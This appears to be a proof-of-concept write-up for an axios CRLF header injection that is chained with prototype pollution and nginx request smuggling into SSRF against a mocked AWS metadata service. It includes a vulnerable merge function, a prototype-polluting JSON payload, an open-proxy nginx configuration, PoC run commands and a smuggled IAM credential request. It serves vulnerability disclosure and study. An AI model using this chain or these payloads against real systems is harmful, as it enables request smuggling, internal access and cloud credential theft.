lib/core/AxiosHeaders.js  AxiosHeaders.set()
  └─ normalizeValue()
       └─ Removes only trailing CRLF with /[\r\n]+$/
          ↑ \r\n in the middle of the value passes through unchanged

Object.prototype.isAdmin = true;

const user = {};
user.isAdmin;  // true ← exists without ever being declared

function vulnerableMerge(target, source) {
  for (const key of Object.keys(source)) {
    if (typeof source[key] === 'object') {
      if (!target[key]) target[key] = {};
      vulnerableMerge(target[key], source[key]);
      // When key = "__proto__":
      //   target["__proto__"] → returns Object.prototype
      //   → vulnerableMerge(Object.prototype, source["__proto__"])
      //   → injects properties directly into Object.prototype
    } else {
      target[key] = source[key];
    }
  }
}

// Attacker JSON: __proto__ is parsed as an own property
const payload = JSON.parse('{"__proto__":{"headers":{"X-Smuggle":"evil\\r\\n..."}}}');
vulnerableMerge({}, payload);

({}).headers;  // { 'X-Smuggle': 'evil\r\n...' } ← pollution successful

Object.prototype.headers = { 'X-Smuggle': 'evil\r\n...' }
         ↓
App code: const opts = {};
         opts.headers  →  prototype chain  →  returns polluted object
         ↓
axios.get(url, { headers: opts.headers, adapter: rawSocketAdapter })
         ↓
AxiosHeaders.set('X-Smuggle', 'evil\r\n...')  ← no CRLF validation
         ↓
Smuggled request included in the TCP stream

When assertOptions(config, schema) is called
  schema['headers']  →  prototype chain  →  returns polluted object
  validator(value)   →  calls object as a function  →  TypeError

[1] Direct header injection or Prototype Pollution (via vulnerable merge library)
        ↓
[2] Axios serializes the CRLF-containing value as a header without validation
        ↓
[3] Written to the TCP stream via raw net.Socket
        (Node.js's default http module blocks this at runtime → custom adapter required)
        ↓
[4] nginx (proxy_pass http://$http_host) parses it as two separate requests
        ↓
[5] The smuggled request is routed to a different upstream based on its Host header (SSRF)
        ↓
[6] Access to internal servers (IMDS, etc.) → credential theft

┌─────────────────────────────────────────────────────────┐
│  Host Machine                                           │
│                                                         │
│  test-axios-adapter-*.js                                │
│  (raw net.Socket → nginx:8080)                          │
│                                                         │
│  browser → exploit.html (3003)                          │
│         → relay (3004) → raw socket → nginx:8080        │
└────────────────────┬────────────────────────────────────┘
                     │ Docker bridge (cve-net)
          ┌──────────┼──────────┬──────────────┐
          ▼          ▼          ▼              ▼
      backend     nginx       imds           (future)
      :3001       :8080       :80
      :3003                   (169.254.169.254 mock)
      :3004

# Build and start all containers
docker compose up --build

# Run Node.js tests (from the host)
npm install

# 1. Direct to backend — CRLF injection produces 2 requests
node poc/test-axios-adapter-backend.js

# 2. Via nginx — smuggled request is routed to backend:3001
node poc/test-axios-adapter-nginx.js

# 3. Prototype Pollution → CRLF Injection → SSRF chain
node poc/test-prototype-pollution.js

# 4. Browser — http://localhost:3003
#    Select target: direct backend / via nginx / nginx → IMDS (SSRF)

1. Select nginx → IMDS and run the Custom Adapter
2. Smuggled request: GET /latest/meta-data/iam/security-credentials/my-ec2-role
                     Host: imds
3. nginx routes to host=imds → forwarded to the IMDSv2 mock server
4. imds container log: [!!!] Credential theft successful!

.
├── docker-compose.yml
├── Dockerfile.backend          # backend + relay container
├── Dockerfile.imds             # IMDSv2 mock container
├── package.json                # [email protected] (vulnerable version pinned)
└── poc/
    ├── backend-server.js       # HTTP server (3001), relay (3004), static server (3003)
    ├── mock-imds.js            # AWS IMDSv2 mock (PUT /token, GET /credentials)
    ├── nginx-container.conf    # open proxy configuration
    ├── exploit.html            # browser PoC (XHR vs Custom Adapter)
    ├── test-axios-adapter-backend.js   # raw socket → backend directly
    ├── test-axios-adapter-nginx.js    # raw socket → nginx → backend/imds
    ├── test-axios-no-adapter.js       # standard axios (to confirm Node.js blocking)
    └── test-prototype-pollution.js    # Prototype Pollution → CRLF Injection chain

resolver 127.0.0.11 valid=30s;   # Docker internal DNS

location / {
    proxy_pass         http://$http_host;   # dynamic routing based on Host header = SSRF
    proxy_http_version 1.1;
    proxy_set_header   Connection "";
    proxy_set_header   Host $http_host;
}

location /public {
    proxy_pass         http://backend:3001;  # fixed upstream for legitimate requests
}

npm install axios@^1.15.0